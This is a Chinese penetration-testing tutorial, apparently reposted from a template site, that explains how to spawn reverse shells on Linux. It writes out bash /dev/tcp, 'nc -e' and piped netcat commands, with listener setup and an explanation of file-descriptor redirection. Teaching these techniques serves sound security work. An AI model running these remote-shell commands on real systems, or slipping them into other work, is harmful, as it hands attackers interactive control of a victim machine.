我们有时候在渗透测试中,经常会反弹shell一次来进行会话,从而提权或者寻找信息,今天就总结一下在linux上反弹shell的几种方法及原理。
测试环境:
kali、centos
一、bash反弹:
在kali机上监听端口:
nc -lvp 7777
在 centos上使用:
bash -i >& /dev/tcp/ip/port 0>&1 //ip就是反弹到开启监听的机器,port就是监听的端口号
这条命令我也在网上查了很多资料,总结了一下
bash -i 就是打开一个bash
>&符号定义:
当>&后面跟着文件时,就表示为将标准输出和标准错误输出到重定向的文件也就是监听端上。
当>&后面跟着文件标识符时,就表示将前面的文件描述符重定向到后面的文件描述符。
标准输入:stdin 代码为“0”,使用<或<<
标准输出:sudout 代码为“1”,使用>或>>
标准错误输出:stderr 代码为“2”,使用2>或2>>
因为Linux发行版本不一样,所以也会导致在一些系统上并不能使用
/dev/tcp 该文件时liux中一个特殊的文件并不真实存在,使用这个文件的目的就是建立一个socket连接,我们可以通过结合上面的符号来实现基于tcp和udp协议的通讯,所以也有/dev/udp,上面的ip也可以域名,如果建立连接成功,则会在/proc/self/fd下出现对应的文件。
最后需要注意的是,这是一个bash的feature,在使用的时候注意shell的类型。
我们来看一下实际操作中符号的具体意义:
如上图,>&这个命令的结果就是在终端输入并不会显示,而这些输入的标准输出和标准错误输出结果会在监听端显示。但监听端并不能执行命令,只能接收在centos上输入命令的返回结果。
此时我们在后面加上 0>&1的命令
此时我们已经重定向到监听机上了,该符号代表的是将标准输入重定向到标准输出,标准输出已经在监听机上了,所以现在监听机上可以进行输入和显示输出信息。
二、nc反弹
这中方法需要centos上安装nc,kali机上自带的有。
centos下载命令:
yum -y install nc
现在kali上面开启监听:
nc -lvp 7777
在centos上使用nc反向连接:
nc -e /bin/bash ip port
-e的命令就是连接后去执行后面的命令,就是执行一个shell脚本
还有一种情况当-e不能使用的话,可以使用另一种方法;
在kali开启两个监听端口,然后在centos上使用命令:
nc ip port1|/bin/bash|nc ip port2
首先是连接到第一个端口进行通讯,然后把通信的内容通过管道符放到/bin/bash解释器中,在把结果输出到第二个端口上。一个用来输入命令,一个用来看返回结果。
文章来源:https://www.toymoban.com/news/detail-553372.html
因为-e太危险大部分都去掉了。文章来源地址https://www.toymoban.com/news/detail-553372.html
到了这里,关于LINUX shell反弹篇(一)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!